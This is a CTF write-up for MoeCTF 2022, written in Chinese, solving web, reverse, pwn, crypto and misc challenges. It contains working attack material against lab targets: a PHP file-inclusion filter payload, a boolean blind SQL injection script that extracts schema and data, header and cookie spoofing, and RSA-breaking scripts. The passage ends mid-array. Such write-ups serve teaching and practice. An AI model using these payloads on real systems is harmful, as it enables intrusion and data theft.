MoeCTF 2022

Web

baby_file

题目

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
?>

解题

这题是简单的文件包含,先用 dirsearch 扫描一下。

$ python dirsearch.py -u http://node2.anna.nssctf.cn:28169/

可以扫描到 /flag.php ,通过构造以下 Payload

file=php://filter/read=convert.base64-encode/resource=flag.php

可以获得到 flag.php 的源码

<?php
Hey hey, reach the highest city in the world! Actually I am ikun!!;
NSSCTF{b3333432-7dff-4ca8-b6f4-cd4bd5fc6688};
?>

ezhtml

通过 右键 - 查看网页源代码 寻找答案没有结果,发现底下有个 evil.js ,访问该文件可以得到 flag 力!

what are y0u uploading?

随便提交一个图片可以得到以下回显

文件上传成功!filename:fea5445634569c851f2933f11259cc92.png
我不想要这个特洛伊文件,给我一个f1ag.php 我就给你flag!

通过修改 Request 中的 filenamef1ag.php 即可得到 flag 了。

ezphp

先来分析源码~

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';

// $_GET['flag'] 和 $_POST['flag'] 至少存在一个
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($giveme);
}

// $_GET['flag'] 和 $_POST['flag'] 至少一个值为 flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($getout);
}

//将 value 的值赋给 $key
foreach ($_POST as $key => $value) {
    $$key = $value;
}

//将 $value 的值赋给 $key
foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

分析结束后,通过构造以下 Payload

test=flag&flag=test

就可以获得到 flag 了,原理是先将 test 的值复制 flag 的值,又因为必须存在一个 $_GET['flag'] === 'flag' ,因此将 flag 的值改为 test 的值就可以了。

Sqlmap_boy

查看网站源代码可以发现

<!-- $sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";'; -->

通过访问 http://node2.anna.nssctf.cn:28497/login.php 回显

{
	code: "0",
	message: "用户名或密码错误"
}

应该可以推断为布尔注入,通过编写以下代码

import time
import requests

url = 'http://node2.anna.nssctf.cn:28497/login.php'
session = requests.Session()
def getDatabase():
    results = []
    for i in range(1000):
        print(f'{i}...')
        start = -1
        end = 255
        mid = -1
        while start < end:
            mid = (start + end) // 2
            params = {"username": f'admin" and (ascii(substr(database(),{i+1},1))>{mid})#'}
            ret = session.post(url, data=params)
            if '"code":"1"' in ret.text:
                start = mid + 1
            else:
                end = mid
            time.sleep(0.05)
        if mid == -1:
            break
        results.append(chr(start))
        print(''.join(results))
    return ''.join(results)

begin = time.time()
getDatabase()
print(f'time spend: {time.time() - begin}')

可以得到数据库名为 moectf ,通过修改上面代码中的变量 params 成如下内容

params = {"username": f'admin" and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="moectf" limit 0,1),{i+1},1))>{mid})#'}

可以得到数据库表 articles,flag,users ,通过修改上面代码中的变量 params 成如下内容

params = {"username": f'admin" and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="moectf" and table_name="flag"),{i+1},1))>{mid})#'}

可以得到列名 flAg ,通过修改上面代码中的变量 params 成如下内容

params = {"username": f'admin" and (ascii(substr((select flAg from flag limit 0, 1),{i+1},1))>{mid})#'}

就可以得到 flag 力!

cookiehead

题目包含 cookie ,那就是 Cookies 里面一探究竟!

首先打开题目后到达第一关 仅限本地访问 ,用 HackBar 添加 Header

X-Forwarded-For: 127.0.0.1

之后提示 请先登录 ,将 Cookies 修改成 login=1 即可。

最后一关 You are not from http://127.0.0.1/index.php ! 则添加 Header

Referer: http://127.0.0.1/index.php

就可以得到 flag 啦!

God_of_aim

右键查看源代码可以得到提示

<!-- 你知道吗?index.js实例化了一个aimTrainer对象-->

可以在 aimtrainer.js 文件中发现 checkflag1()checkflag2() 函数,在 Console 输入 _0x78bd 可以得到回显

['aimTrainerEl', 'aim-trainer', 'getElementById', 'scoreEl', 'score', 'aimscore', 'delay', 'targetSize', 'aimscoreEL', 'setScore', 'start', 'innerHTML', 'setAimScore', 'position', 'style', 'relative', 'timer', 'createTarget', 'checkflag1', 'checkflag2', 'stop', 'moectf{Oh_you_can_a1m_', '你已经学会瞄准了!试试看:', 'start2', 'and_H4ck_Javascript}', '']

就可以得到 flag moectf{Oh_you_can_a1m_and_H4ck_Javascript} 了!

Reverse

Reverse入门指北

flag 就在指北最底下,好耶,是指北!

checkin

使用 IDA 打开后就可以发现 flag 力!

Hex

使用 010 Editor 打开 Hex.exe 后搜索 moectf 可以发现 flag

Base

使用 IDA 打开后对着 main F5 就可以发现 base64 加密内容

1wX/yRrA4RfR2wj72Qv52x3L5qa=

并且在 main 中还可以发现一个符号表

abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ

通过 CyberChef 一把梭可以得到 flag moectf{qwqbase_qwq}

begin

使用 IDA 打开后对着 main F5 就可以发现

for ( i = 0; i < strlen(Str); ++i )
    Str[i] ^= 0x19u;
if ( !strcmp(Str, Str2) )
    puts("\nGood job!!! You know how to decode my flag by xor!");
else
    puts("\nQwQ. Something wrong. Please try again. >_<");

通过分析以上代码可以发现需要对每个字符与 0x19 进行异或运算,若和 Str2 比对完全一致则弹出正确,通过双击也可以发现 Str2 的内容。

整理内容可以得到一个数组

arr = [0x74, 0x76, 0x7C, 0x7A, 0x6D, 0x7F, 0x62, 0x41, 0x29, 0x6B,
       0x46, 0x28, 0x6A, 0x46, 0x6A, 0x29, 0x46, 0x70, 0x77, 0x6D,
       0x2A, 0x6B, 0x2A, 0x6A, 0x6D, 0x70, 0x77, 0x7E, 0x38, 0x38,
       0x38, 0x38, 0x38, 0x64]

编写 Python 代码对数组内容进行异或运算并且转为字符就可以得到 flag 了。

arr = [0x74, 0x76, 0x7C, 0x7A, 0x6D, 0x7F, 0x62, 0x41, 0x29, 0x6B,
       0x46, 0x28, 0x6A, 0x46, 0x6A, 0x29, 0x46, 0x70, 0x77, 0x6D,
       0x2A, 0x6B, 0x2A, 0x6A, 0x6D, 0x70, 0x77, 0x7E, 0x38, 0x38,
       0x38, 0x38, 0x38, 0x64]

flag = ''
for ch in arr:
    flag += chr(ch ^ 0x19)
print(flag)

# moectf{X0r_1s_s0_int3r3sting!!!!!}

Pwn

shell

$ nc node3.anna.nssctf.cn 28646
Welcome to PWN world!
In PWN, your goal is to get shell.
Here I'll give you the shell as a gift for our first meeting.
Have fun in the following trip!
cat flag
NSSCTF{765b5608-08aa-4876-b917-05a4129cf665}

Crypto

vigenere

https://www.guballa.de/vigenere-solver

6. i won't tell you that the flag is moectf attacking the vigenere cipher is interesting

解码后就可以得到 flag moectf{attacking_the_vigenere_cipher_is_interesting}

0rsa0

第一关

打开文件后可以看到 e1=3 ,可以使用低加密指数攻击。

from Crypto.Util.number import *
from gmpy2 import iroot

c = 1402983421957507617092580232325850324755110618998641078304840725502785669308938910491971922889485661674385555242824
n = 133024413746207623787624696996450696028790885302997888417950218110624599333002677651319135333439059708696691802077223829846594660086912881559705074934655646133379015018208216486164888406398123943796359972475427652972055533125099746441089220943904185289464863994194089394637271086436301059396682856176212902707

i = 0
while 1:
    if iroot(c + i * n, 3)[1] == 1:
        m = iroot(c + i * n, 3)[0]
        print(long_to_bytes(m))
        break
    i = i + 1

通过低加密指数攻击可以得到明文 T8uus_23jkjw_asr

第二关

可以发现存在 dp 泄露,因此可以通过泄露的 dp 进行攻击。

from Crypto.Util.number import long_to_bytes
from gmpy2 import *

e = 65537
n = 159054389158529397912052248500898471690131016887756654738868415880711791524038820158051782236121110394481656324333254185994103242391825337525378467922406901521793714621471618374673206963439266173586955520902823718942484039624752828390110673871132116507696336326760564857012559508160068814801483975094383392729
dp = 947639117873589776036311153850942192190143164329999603361788468962756751774397111913170053010412835033030478855001898886178148944512883446156861610917865
c = 37819867277367678387219893740454448327093874982803387661058084123080177731002392119369718466140559855145584144511271801362374042596420131167791821955469392938900319510220897100118141494412797730438963434604351102878410868789119825127662728307578251855605147607595591813395984880381435422467527232180612935306

for i in range(1, e):
    if (dp * e - 1) % i == 0:
        if n % (((dp * e - 1) // i) + 1) == 0:
            p = ((dp * e - 1) // i) + 1
            q = n // (((dp * e - 1) // i) + 1)
            phi = (q - 1) * (p - 1)
            d = invert(e, phi)
            m = pow(c, d, n)
            print(long_to_bytes(m))
            break

通过 dp 泄露攻击可以得到明文 _3d32awd!5f&#@sd

所以 flag 就是 moectf{T8uus_23jkjw_asr_3d32awd!5f&#@sd}

Signin

这道题的 phi 与 e 并不互素,尝试用 gmpy2.invert(e, q - 1) 不行,用 d = gmpy2.invert(e, p - 1) 可以。

import gmpy2
from Crypto.Util.number import *

e = 65537
p = 12408795636519868275579286477747181009018504169827579387457997229774738126230652970860811085539129972962189443268046963335610845404214331426857155412988073
q = 12190036856294802286447270376342375357864587534233715766210874702670724440751066267168907565322961270655972226761426182258587581206888580394726683112820379
c = 68960610962019321576894097705679955071402844421318149418040507036722717269530195000135979777852568744281930839319120003106023209276898286482202725287026853925179071583797231099755287410760748104635674307266042492611618076506037004587354018148812584502385622631122387857218023049204722123597067641896169655595
phi = (q - 1) * (p - 1)
d = gmpy2.invert(e, p - 1)
n = p * q

m = pow(c, d, p)

print(long_to_bytes(m))
# moectf{Oh~Now_Y0u_Kn0W_HoW_RsA_W0rkS!}

一次就好

根据题目文件可以看出两个素数是相近的,并且明文是经过异或运算的

import gmpy2
from Crypto.Util.strxor import strxor
from Crypto.Util.number import *

n = 164395171965189899201846744244839588935095288852148507114700855000512464673975991783671493756953831066569435489213778701866548078207835105414442567008315975881952023037557292470005621852113709605286462434049311321175270134326956812936961821511753256992797013020030263567313257339785161436188882721736453384403
e = 0x10001
gift = 127749242340004016446001520961422059381052911692861305057396462507126566256652316418648339729479729456613704261614569202080544183416817827900318057127539938899577580150210279291202882125162360563285794285643498788533366420857232908632854569967831654923280152015070999912426044356353393293132914925252494215314
c = b'Just once,I will accompany you to see the world'

temp = gmpy2.iroot(n, 2)[0]
p = gmpy2.next_prime(temp)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = gmpy2.powmod(gift, d, n)
key = long_to_bytes(m)
flag = strxor(key, c)
print(flag)
# moectf{W0w_y02_k5ow_w6at_1s_one_t1m3_pa7}

smooth

根据文件中的 get_vulnerable_prime() 函数可以得出 p-1 是光滑数,

  • 光滑数 (Smooth number):指可以分解为小素数乘积的正整数

通过费马小定理和 Pollard's p-1 算法就可以分解 n 了。

def smooth(N):
    a = 2
    n = 2
    while True:
        a = powmod(a, n, N)
        res = gcd(a - 1, N)
        if res != 1 and res != N:
            return res
        n += 1

第二关则考的是 Wilson 定理,即 (p - 1)! ≡ 1﹡(p - 1) ≡ -1 (mod p) 。因为题目已经将 flag 乘以 1 到 P - 1729 (不包含 P - 1729) 取模,因此我们需要继续乘以 P - 1729 到 P - 1 ,这样就可以使用 Wilson 定理来求出真正的 flag 了。

现在的 flag 就是 flag * (p - 1)!≡ -1 * flag (mod p) ,因此将 flag 取反取模就可以得到真正的 flag 了。

完整代码如下

from gmpy2 import *
from Crypto.Util.number import *

n = 0xdc77f076092cbe81c44789ccfc1b2ca55eabae65f44cf34382799e8bbb42d4d6c032bd897c21df1da401929d82deb56264823a757f6cacf63e0037146026cbab32ab9e4abc783dcabaac2b7ccc439937be3ab0fbf149524ff29ef0fe6f27e45215d74b40597c70e8207159dc7f542c2a6828500016480053dfc2d8dbf8fcdf6700640184c8f3318f7aab2e17e116edf680592f5eae951159bb8c20cfbd0cbab8b4b95925b5068038d0377a55a4d346ebbf53a1c2943b7c17e1b9d4a1b77916da2e15140b05b96655906942a07d04b7e25fa7521b3b7ae26eda68375a8b8ef2d5b4704a28168b236de97f24a663f0d0a3aeab47767dfe75a21662f5f25ef7f7d4b25c90fd7bcdd7137c23f03b6ea4209f8fb9b4628355e6ad62e6467d26666d3d1b0e6f078c5f3866413a6fcd3c1dc2ff3a5ab286e339d5c72f4d2f0473a4faddcba6b031bb6ec226fd4b319834b5029f09ea0ffeb5b6ed182d5a13675571b6708c38299118043390343e2f79edebd2ae0e0a765a3aebf776f54ca983cdae8547547cfc8430f7222aefa77301d7cc7c03b1451b6603028b21fea869d35138a9c83919985a91b3fdfa934f25a442cc10349b0ed6f2ee3955d40249e8b3fb9f1955534ee06cee41a3ad2d6ff7dbdb0f01e47b9e4d04f65232f5579135ae035e8ba2d1fe6465a730dcc8b9ba3a558ab38f040ea510757d25e92f886c50c24ad967f1
e = 0x10001
c = 0x3cc51d09c48948e2485820f6758fb10c7693c236acc527ad563ba8369c50a0bc3f650f39a871ee7ef127950ed916c5f4dc69894e11caf9d178cd7e8f9bf9af77e1c69384cc5444da64022b45636eeb5b7a221792880dd242be2bb99be3ed02c430c2b77d4912bec1619d664e066680910317c2bb0c87fafdf25f0a2400103278f557b8eca51d3b67d61098f1ab68da072bb2810596180afbc81a840cd24efef4d4113235160e725a5af4824dc716d758b3bc792f2458e979398e001b27e44d21682e2ef80ae94e21cd09a12e522ca2e569df72f012fa40341645445c6e68c6233a8a39e5b91eb14b1ccfa61c9bad25e8e3285a22da27cd506ddd63f207517a4e8ede00b104d8806ff4c0e3162c3de69169d7e584952655272b96d39d242bb83019c7eab1ceb0b4b287591e1e0a5b6378e70340a82d3430c5925d215f31fda6d9d0bccea240591b22a3d0f6b5bf4ddf1243d71aca0fd53045c352c8c5497ebcdbd7ac11083d63aba7c053604fda2430c317a4e04702b5ad539e110f101165b21dcd9fdb5ba7324acdba6a506244ce7c911197dfe067441fe7488d164c050f45ef6476aaf399cedde1793cceb8c21d88ec8ecf5e17df27586713d7dd9566ec5023cfef75422b73e2d5a932c661b3cfdf9c4bda12b64380d2be1aa957c3e1416e068937bafe79b8cf303296792388e9c197702e11e7ded6088ae992d352b23a4a27


def smooth(N):
    a = 2
    n = 2
    while True:
        a = powmod(a, n, N)
        res = gcd(a - 1, N)
        if res != 1 and res != N:
            return res
        n += 1


p = smooth(n)
q = n // p
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(c, d, n)

for i in range(p-1729, p):
    m = m * i % p
m = (-m) % p
print(long_to_bytes(m))
# moectf{Charming_primes!_But_Sm0oth_p-1_1s_vu1nerab1e!}

入门指北

运行参考答案即可获得 flag ,好耶!是指北!

moectf{Welc0me_t0_fascinating_crypto_w0rld}

MiniMiniBackPack

https://ctf-wiki.org/crypto/asymmetric/knapsack/knapsack/

题目脚本

from gmpy2 import *
from Crypto.Util.number import *
import random
from FLAG import flag

def gen_key(size):
    s = 1000
    key = []
    for _ in range(size):
        a = random.randint(s + 1, 2 * s)
        assert a > sum(key)
        key.append(a)
        s += a
    return key


m = bytes_to_long(flag)
L = len(bin(m)[2:])
key = gen_key(L)
c = 0

for i in range(L):
    c += key[i]**(m&1)
    m >>= 1

print(key)
print(c)

解题

通过分析题目脚本可知 flag 转成了二进制后,通过 gen_key() 函数来生成一个 key 数组,并且通过 assert a > sum(key) 使得 key 数组中的所有之和比 a 小,这也说明这是一个超递增序列。

之后就是从 m 的后 i 位开始从后往前与 1 进行与运算,并且将其的值作为 key[i] 的指数,若 m 的后 i 位为 1 则 c 在原基础上加 key[i],反之则加 1。

解题将 key 数组倒序即可获得正序的 flag ,解题过程将上诉加密过程逆序即可。

from Crypto.Util.number import *

txt = open('附件.txt').readlines()
key = eval(txt[0])
key = key[::-1]
c = 2396891354790728703114360139080949406724802115971958909288237002299944566663978116795388053104330363637753770349706301118152757502162
m = ''

for i in key:
    if c - i > 0:
        c -= i
        m += '1'
    else:
        c -= 1
        m += '0'

m = int(m, 2)
print(long_to_bytes(m))
# moectf{Co#gRa7u1at1o^s_yOu_c6n_d3c0de_1t}

Misc

Misc指北

文档末尾存在摩斯电码,内容如下

.-- . .-.. ..--- --- -- . ..--.- ....- --- ..--.- -- .. ...-- -.-. ..--.- .---- ..- -.-. -.- -.-- -.-.--

用 CyberChef 一把梭可以得到 flag moectf{WEL2OME_4O_MI3C_1UCKY!}

nyanyanya

用 StegSolve 查看图片可以发现 Red plane 3 有文字。

用 Data Extract 设置 Red plane 0、Green plane 0、Blue plane 0,可以发现 flag 就出来了

cccrrc

crc32 爆破脚本 https://github.com/theonlypwner/crc32

看标题猜测是 压缩包crc爆破(

点击打开压缩包可以看到压缩后大小都是 16,满足爆破条件

$ python crc32.py reverse 0x67b2d3df
4 bytes: {0x6d, 0x6f, 0x65, 0x63}
verification checksum: 0x67b2d3df (OK)
alternative: 8tLtKb (OK)
alternative: 9USU97 (OK)
alternative: BbaPOC (OK)
alternative: Jhw3Ck (OK)
alternative: K9Tc4n (OK)
alternative: SSKsHA (OK)
alternative: TJLMbj (OK)
alternative: bmRitF (OK)
alternative: e9xj3e (OK)
alternative: lbMYHH (OK)
alternative: txn817 (OK)
alternative: v4WWmz (OK)
$ python crc32.py reverse 0x628abed2
4 bytes: {0x74, 0x66, 0x7b, 0x71}
verification checksum: 0x628abed2 (OK)
alternative: 1bMsCU (OK)
alternative: 4GOS0c (OK)
alternative: 5fPrB6 (OK)
alternative: BbxYQQ (OK)
alternative: Cb9hJH (OK)
alternative: FfeXP2 (OK)
alternative: Lmgim_ (OK)
alternative: NQbw4B (OK)
alternative: SSRzVS (OK)
alternative: X4bWtc (OK)
alternative: dhB3Zr (OK)
alternative: fiVak7 (OK)
alternative: hfIQW9 (OK)
alternative: lbTPVZ (OK)
$ python crc32.py reverse 0x6b073427
4 bytes: {0x77, 0x71, 0x5f, 0x63}
verification checksum: 0x6b073427 (OK)
alternative: 1bNdgG (OK)
alternative: 7gG7Wa (OK)
alternative: 8tVjqb (OK)
alternative: Ii8NS7 (OK)
alternative: SSQmrA (OK)
alternative: TJVSXj (OK)
alternative: ZEIcdd (OK)
alternative: bmHwNF (OK)
alternative: etOIdm (OK)
alternative: lbWGrH (OK)
alternative: tEejco (OK)
alternative: v4MIWz (OK)
alternative: zJzZ_a (OK)
$ python crc32.py reverse 0x08c8da10
4 bytes: {0x72, 0x63, 0x21, 0x7d}
verification checksum: 0x08c8da10 (OK)
alternative: 4GIVjo (OK)
alternative: IHcLDe (OK)
alternative: K9Kopp (OK)
alternative: KU8Bt4 (OK)
alternative: Lmal7S (OK)
alternative: NQdrnN (OK)
alternative: QoQaUB (OK)
alternative: WjX2ed (OK)
alternative: XyIoCg (OK)
alternative: YXVN12 (OK)
alternative: bmMe0X (OK)
alternative: gHOECn (OK)
alternative: j69gPl (OK)
alternative: k6xVKu (OK)
alternative: vyefDl (OK)
alternative: wXzG69 (OK)
alternative: xvzVxb (OK)

将得到的 16 个字节(6d6f656374667b7177715f637263217d) 转换为字符串(moectf{qwq_crc!}) flag 就出来咯!

zip套娃

拿到压缩包后打开压缩包发现没有压缩包密码的踪迹,那就只能用 Archpr 狠狠的爆破了(悲

Archpr 尝试 1 至 6 位数字爆破可以得到密码是 1235 ,解压后可以得到 fl.zip 和一个提示 密码的前七位貌似是1234567 后三位被wuliao吃了

那就通过掩码暴力破解,设置掩码为 1234567??? 进行爆破可以得到密码 1234567qwq ,解压后得到 fla.zip 和一个一摸一样的提示,继续使用掩码破解发现无效,用 010 Editor 查看 fla.zip 可以发现文件数据区的全局加密为 00 而文件目录区的全局方式位标记却是 01 ,说明这个 zip 文件为伪加密文件。

修复方式就是把 01 改成 00 即可。

解压后就可以得到 flag moectf{!zip_qwq_ZIP}

usb

http://www.manongjc.com/detail/25-cxtkhbqgdxkwlwz.html

将下载下来的文件丢到 kali 用 Wireshark 打开,可以看到基本都是 HID Data ,那就将 HID Data 的数据提取出来。

$ tshark -r usb.pcapng -T fields -e usbhid.data  > usbdata.txt

读取后通过引用中的脚本进行解码就可以得到 flag moectf{Learned_a6ou7_USB_tr@ffic} ,完整代码如下

import re

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []

txt = open('usbdata.txt', 'r')

for line in txt:
    line = line.strip('\n')
    if len(line) == 16:
        line_list = re.findall('.{2}', line)
        line = ":".join(line_list)
        try:
            if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[
                9] != '0' or line[10] != '0' or line[12] != '0' or line[13] != '0' or line[15] != '0' or line[
                16] != '0' or line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[
                                                                                                          6:8] == "00":
                continue
            if line[6:8] in normalKeys.keys():
                output += [[normalKeys[line[6:8]]], [shiftKeys[line[6:8]]]][line[1] == '2']
            else:
                output += ['[unknown]']
        except:
            pass

txt.close()

flag = 0
print("".join(output))
for i in range(len(output)):
    try:
        a = output.index('<DEL>')
        del output[a]
        del output[a - 1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i] == "<CAP>":
            flag += 1
            output.pop(i)
            if flag == 2:
                flag = 0
        if flag != 0:
            output[i] = output[i].upper()
    except:
        pass
print('output :' + "".join(output))
# moectf{<CAP>l<CAP>earnee<DEL>d_a6ou7_<CAP>usb<CAP>_tr@ffic}
# output :moectf{Learned_a6ou7_USB_tr@ffic}

Locked_bass

题目描述 这锁虚挂着的,能踹 提示压缩包应该是伪加密,通过 010 Editor 打开后将两个 09 00 修改为 00 00 即可修复并解压获得 Unlocked bass.zip

Unlocked bass.zip 内可以发现 Unlocked bass.txt ,里面包含一串 base64 编码内容。

bW9lY3Rme04wd190aDFzX2k0X2FfYkBzc19VX2Nhbl91M2VfdG9fcGxhOX0=

使用 CyberChef 一把梭就可以得到 flag moectf{N0w_th1s_i4_a_b@ss_U_can_u3e_to_pla9}

what_do_you_recognize_me_by

把文件拖入 010 Editor 可以明显发现这是 PNG 格式的图片,但是文件头不对,修复文件头为 89 50 4E 47 后就能打开图片了。

给文件补上后缀名 .png 后打开图片是一个二维码

使用软件扫码后可以得到 flag moectf{You_r4c0gnize_%e!}

小纸条

Hint: 全部大写,无分隔

猪圈密码

根据上图进行解码可以得到 flag moectf{ILOVEMYBIGBED}

rabbit

用 010 Editor 打开图片可以在末尾发现一串 Rabbit 加密数据

U2FsdGVkX1+EPlLmNvaJK4Pe06nW0eLquWsUpdyv3fjXM2PcDBDKlXeKupnnWlFHewFEGmqpGyC1VdX8

解密后可以得到 flag moectf{We1c0m3_t0_moectf_an7_3n7oy_y0urse1f}

CCCC

把文件丢到 CLion 跑一下就能得到 flag moectf{0h_y0u_can_run_a_C_pr0gram!}

Python

把文件丢到 PyCharm 跑一下就能得到 flag moectf{Python_YYDS!}

run_me

用 cmd 运行就可以啦~

D:\CTF>run_me.exe
moectf{run_me_to_get_the_flag}   

run_me2

把文件丢到 kali 在终端里输入运行即可,运行前需要注意 右键-属性-权限-(勾选)允许此文件作为程序运行

$ ./run_meB
moectf{run_m3_t0_g3t_th3_f1ag}

A_band

用 CyberChef 将二进制转十六进制,之后十六进制转字符串,发现有很多颜文字,经过百度发现是 AAencode 加密,解密后可以得到以下内容

This_is_a_small_bass_KRUGS427MJQXG427ONSWK3LTL52G6X3CMVPWI2LGMZSXEZLOORPWM4TPNVPXI2DFL5YHEZLWNFXXK427N5XGKXZXGI3EEND2GRKHQRSBMJSHI5SWIF2WM2LQMJWVCS2FMVCUIYLHOB4WOQ3YNVYE2RLDME4EMWBRNY3VIMTSKBBG2TBZOVLEE6DTJJJVOQTVGZBHEYTEKY4EQWLPIJDVQY3PGJUFKQSMKBGUKZDWPJJTSYLXK43EOWLBKA2XANDDLA3FEMSXKA4GWYY=;

经过 Base32 解密后得到以下内容

This_bass_seems_to_be_different_from_the_previous_one_726B4z4TxFAbdtvVAufipbmQKEeEDagpygCxmpMEca8FX1n7T2rPBmL9uVBxsJSWBu6BrbdV8HYoBGXco2hUBLPMEdvzS9awW6GYaP5p4cX6R2WP8kc

经过 Base58 解密后得到以下内容

The_last_step_should_be_familiar_to_you_bW9lY3Rme1doeV9zMF9tYW55XzFuc3RydW1lbnRzP30=

经过 Base64 解密后得到以下内容,即 flag

moectf{Why_s0_many_1nstruments?}

bell202

下载附件得到文件 moe_modem.wav

百度找了半天 misc 调制解调器解码 没找到,通过题解才发现原来是 minimodem ,学到力!

$ minimodem -r -f moe_modem.wav 1200
### CARRIER 1200 @ 1200.0 Hz ###
moectf{zizi_U_he@rd_the_meanin9_beh1nd_the_s0und}
### NOCARRIER ndata=49 confidence=4.894 ampl=1.001 bps=1200.00 (rate perfect) ###

想听点啥

MuseScore 下载 https://musescore.org/zh-hans/download

下载压缩包打开后可以发现一个未知的 .mscz 文件,经过百度后下载 MuseScore 安装后打开该文件在末尾可以发现 7z 压缩包密码 MOECTFI1iKE

解压后可以得到 qaq.pyflag.txt ,其中 qaq.py 为 flag 的加密代码。

# this is not flag, but real flag will be encrypted in same algorithm.
flag = 'moectf{xxxxxxxxxxxxxxxxxxxxx}'

def encrypt(src: str) -> bytes:
    return bytes([ord(src[i]) ^ ord(src[i-1]) for i in range(1, len(src))])

with open('flag.txt', 'wb') as out:
    out.write(encrypt(flag))

其中 encrypt() 函数会将 flag 的后一位与前一位进行异或运算并输出值,因此将这一过程逆序即可。

txt = open('flag.txt', 'r').read()


def decrypt(src: str) -> str:
    flag = 'm'
    for i in range(len(src)):
        flag += chr(ord(src[i]) ^ ord(flag[i]))
    return flag


print(decrypt(txt))
# moectf{Want_s0me_mor3_mus1c?}

寻找黑客的家

图上有十分明显的 汉明宫 以及预约电话 xxxxx33085 ,用百度地图搜搜就出来力。

flag moectf{shenzhen_longhua_qingquan}

hamming

https://www.bilibili.com/video/BV1pV411y7E8 09:00

  • (15, 11) 汉明码:共 16 位,其中数据位有 11 位,奇偶校验位有 5 位。第 0 位为总的奇偶校验码,第 2^n 个为每个部分的奇偶校验码,通过两个奇偶校验码可以确认错误的在哪里并进行纠正,但当出现两次错误时,就无法纠正了,只能识别到存在错误。

from Crypto.Util.number import long_to_bytes  # really useful!
from functools import reduce
import operator as op

def hamming_correct(bitblock):
    return reduce(op.xor, [i for i, bit in enumerate(bitblock) if bit])

def decode(msg):
    blocks = len(msg)
    bitlist = []
    # Let's cancel the noise...
    for i in range(blocks):
        wrongbitpos = hamming_correct(msg[i])
        msg[i][wrongbitpos] = int(not msg[i][wrongbitpos])
        # add corrected bits to a big list
        bitlist.extend([msg[i][3]] + msg[i][5:8] + msg[i][9:16])
    # ...then, decode it!
    totallen = len(bitlist)
    bigint = 0
    for i in range(totallen):
        bigint <<= 1
        bigint += bitlist[i]
    return long_to_bytes(bigint)

noisemsg = [[0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0],
            [0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1],
            [0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0],
            [1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0],
            [0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0],
            [0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1],
            [0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1],
            [0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0],
            [0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1],
            [0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0],
            [0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
            [0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1],
            [0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0],
            [0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1],
